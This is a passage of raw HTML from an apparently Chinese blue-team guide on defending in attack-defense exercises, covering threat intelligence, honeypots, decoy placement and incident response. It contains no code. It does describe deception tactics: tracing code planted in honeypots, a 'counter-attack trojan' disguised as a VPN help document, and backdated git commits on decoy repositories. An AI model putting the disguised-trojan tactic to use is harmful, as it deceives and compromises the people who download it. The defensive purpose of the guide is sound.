border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">实时沉淀安全告警信息</span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n106" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">互联网公开威胁情报收集</span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n108" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">威胁情报蜜罐</span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n110" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">三方安全厂商及威胁情报厂商合作</span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n112" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">合作伙伴及生态公司威胁情报共享</span></p></li></ul><p cid="n113" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">上面列的这些威胁情报来源都比较好理解，历史攻击记录都存在ODPS中，通过ODPS SQL就可以查询出对应的信息并写入到威胁情报库。</span></p><p cid="n114" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">阿里云大部分云产品日志都存储在日志服务SLS中，通过Blink或SLS自带的数据加工功能即可筛选想要的实时告警写入到威胁情报库。</span></p><p cid="n115" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">互联网公开威胁情报就写对应的爬虫存入威胁情报库即可，这里推荐一个免费开源的</span><span md-inline="link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">firehol</span></span><span md-inline="plain" style="box-sizing: border-box;">威胁情报库，firehol本身收集恶意IP是为了做防火墙规则的，当然也可以作为威胁情报来使用。firehol的缺点是只有IP和大致类别，没有更详细的字段。</span></p><p cid="n116" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">威胁情报蜜罐这个顾名思义，甲方做的话成本比较高，要考虑投入产出比。建议了解下三方安全厂商和威胁情报厂商，另外默安科技的幻阵蜜罐目前用的厂商比较多，其实是能产出较多的威胁情报的，采购一波默安蜜罐，既能做威胁感知，又可以白嫖重保期间的威胁情报。</span></p><p cid="n117" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">合作伙伴和生态公司威胁情报这个也很好理解，需要提前制定好威胁情报格式或者使用国际通用的STIX/TAXII格式，然后推动合作伙伴按照该格式共享威胁情报。当然，也可以在战时人工同步。</span></p><h5 cid="n118" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">威胁情报消费</span></h5><p cid="n119" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">当我们收集了足够多的威胁情报后，只有在消费/利用了情报才会产生价值，否则就仅仅只是“威胁情报”。</span></p><p cid="n120" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">情报消费消费主要分为三大场景：</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">拦截</span></strong></span><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">感知</span></strong></span><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">响应</span></strong></span><span md-inline="plain" style="box-sizing: border-box;">。</span></p><p cid="n121" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">拦截：高精准度的威胁情报，我们可以直接加入到防火墙规则拦截，比如firehol的威胁情报就分为很多种，有的是恶意邮件、有的是曾经是C2服务器，还有一类是目前没有被分配的IP，这类IP正常情况是不可能有访问行为的。大家可以根据自身业务情况，选择可以拦截的情报进行主动拦截。</span></p><p cid="n122" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">感知：我们所有业务都在阿里云上，阿里云提供了所有ECS的网络连接日志，所以我们可以监测ECS外联威胁情报恶意IP的情况，包括Web访问日志可以过一遍威胁情报。部分无法直接拦截的情报，也可在内网网络连接中进行检测和告警。</span></p><p cid="n123" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">响应：演习期间的告警量往往比平时高好几倍，为了提高告警运营效率，我们将所有告警统一到一起，全部过一遍威胁情报，告警运营时可参考威胁情报的评级重点关注相关告警。</span></p><p cid="n124" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">威胁情报消费部分这里只是简单讲了讲思路，具体的做法在后面几个小章节里面会细讲。</span></p><h4 cid="n125" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">3.4.2 威胁感知</span></h4><p cid="n126" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">威胁感知就像是攻防演习打仗时候的情报来源，像雷达一样。威胁感知做的不好，雷达上就一片黑。我们威胁感知的basline是靠阿里云WAF、威胁感知、安骑士等云安全产品支撑。</span></p><p cid="n127" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">为了进一步提升威胁感知能力，我们在威胁情报、蜜罐、蜜饵、核心系统重保等方面也下了不少功夫。</span></p><h5 cid="n128" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">蜜罐部署</span></h5><p cid="n129" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">我认为蜜罐有两个重大意义，一是做威胁感知的兜底，二是溯源反制的利器（后面</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">3.4.4 溯源反制</code></span><span md-inline="plain" style="box-sizing: border-box;">里面重点讲下如何利用蜜罐来做溯源）。大部分安全产品和自建的告警，其实是基于恶意行为的检测，都是“黑名单”，如果没有对某种威胁行为建模，就无法捕获这类攻击行为，所以蜜罐的部署和覆盖策略就非常关键。</span></p><p cid="n130" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">蜜罐的原理是模拟真实业务系统，投放诱饵吸引攻击者攻击，攻击者攻击后蜜罐产出告警，达到威胁感知的能力。</span></p><p cid="n131" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">互联网和内网面临的攻击手法大不同相同，所以我们在互联网上部署高交互、高仿真的蜜罐，吸引攻击者进行攻击，在蜜罐上植入溯源代码，获取攻击者的互联网ID、设备指纹等信息。除了采购安全公司的蜜罐（疯狂暗示默安幻阵），有条件的单位可以将自己的业务系统代码拿出来，剥离掉所有功能，仅保留登录功能，登录功能使用SSO，这样攻击者在攻击时一定会注册业务系统账号，可能就会留下注册所需的邮箱、手机号、IP等信息，便于识别和溯源攻击者。</span></p><h5 cid="n132" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">扩大蜜罐感知面</span></h5><p cid="n133" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">互联网蜜罐在部署上我们一般会选择OA、VPN、MAIL等沙箱，那么互联网蜜罐可以使用oa.xxxx.com、vpn.xxxx.com、sslvpn.xxxx.com、webmail.xxxx.com诸如此类的域名，但要注意的是一定要在演习前将该域名报备到蜜罐列表中，否则蜜罐被攻击可能会导致失分。</span></p><p cid="n134" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">内网蜜罐主要是为了发现攻击者进入到内网的情况，所以部署的越广越好，但内网假设有1000台机器，我们不可能部署1000台蜜罐，一般的思路是在每个网络区中部署一套蜜罐，然后在该网络区其它机器上部署流量转发脚本，将业务不需要的端口流量转发到内网蜜罐中。</span></p><p cid="n135" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">我们的业务是全部上云的，如果是传统IDC厂商，默安有个硬件设备，叫做“中继节点”，部署在交换机上，可以将VLAN中空闲IP流量转发到蜜罐沙箱中（当然，得搭配默安的蜜罐使用）。</span></p><h5 cid="n136" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">诱饵投放</span></h5><p cid="n137" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">投放诱饵其实也是为了扩大蜜罐感知面，吸引攻击者来进行攻击。投放诱饵其实是顺着攻击者的思路来进行投放，攻击者在做攻击的第一步永远是信息收集，那么攻击者会收集哪里的信息？答案是：Github、百度文库、百度网盘、企查查等等，红队信息收集手法很多，我们在这些必经之路上都可以设置诱饵，比如我们在Github上传一些代码，其中夹杂着蜜罐的URL，甚至放个假密码上去。在百度文库上上传一个XX系统使用文档，里面包含蜜罐的URL和默认账号密码。在百度网盘上传个反制木马，命名为“XXX单位VPN使用帮助”，诸如此类，可做的很多。不过这里想要起到更好的效果，可以先对本单位做一次互联网风险暴露面的排查，看看重灾区在哪，边做排查清理，边做诱饵的投放。在Github上投放诱饵也有一个小tips，如果我们按照正常流程上传代码，那么Github会显示该项目是1秒前刚上传，攻击者又不傻，HW各个公司都在做安全意识培训，怎么可能有研发蠢到在这个时间点上传代码到Github，所以我们可以通过修改系统时间，然后commit的方式，让Github显示这个代码是x年前/x个月前上传的代码。像这样的小tips非常非常多，就不在这里赘述了，我的建议是，买默安的重保服务吧。</span></p><h4 cid="n138" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">3.4.4 应急响应</span></h4><h5 cid="n139" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">3.4.4.1 完善感知和处置能力</span></h5><p cid="n140" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">攻防演习核心其实是攻击和防守，防守上有两个重点，一个是感知（发现攻击），另一个是处置（阻断攻击）。首先在网络层面，至少需要有全流量安全感知设备，可以配套用蜜罐来做兜底的威胁检测。这里也可以做的比较细，比如从互联网的攻击可以用WAF来做感知和阻断，办公网的可以用EDR来做感知和阻断，办公网VLAN间用防火墙来做隔离，邮件安全用邮件网关，诸如此类，要保障几乎所有外到内、内到内的路径我们能发现攻击，且能阻断攻击。</span></p><h5 cid="n141" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">3.4.4.2 完善处置流程</span></h5><p cid="n142" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">感知和处置能力完成以后，还要考虑人为因素，应急响应流程应该由谁来发起，谁来审批，谁来执行处置动作。这类预案要提前设好，比如DMZ区的主机权限被控如何应急、隔离内网的主机被控如何应急、Web发现攻击如何应急、如果流程上审批都通过了，技术人员按照哪种步骤进行应急。这都要提前写好预案，至少有技术上的playbook。</span></p><h5 cid="n143" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">3.4.4.3 应急演练</span></h5><p cid="n144" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: 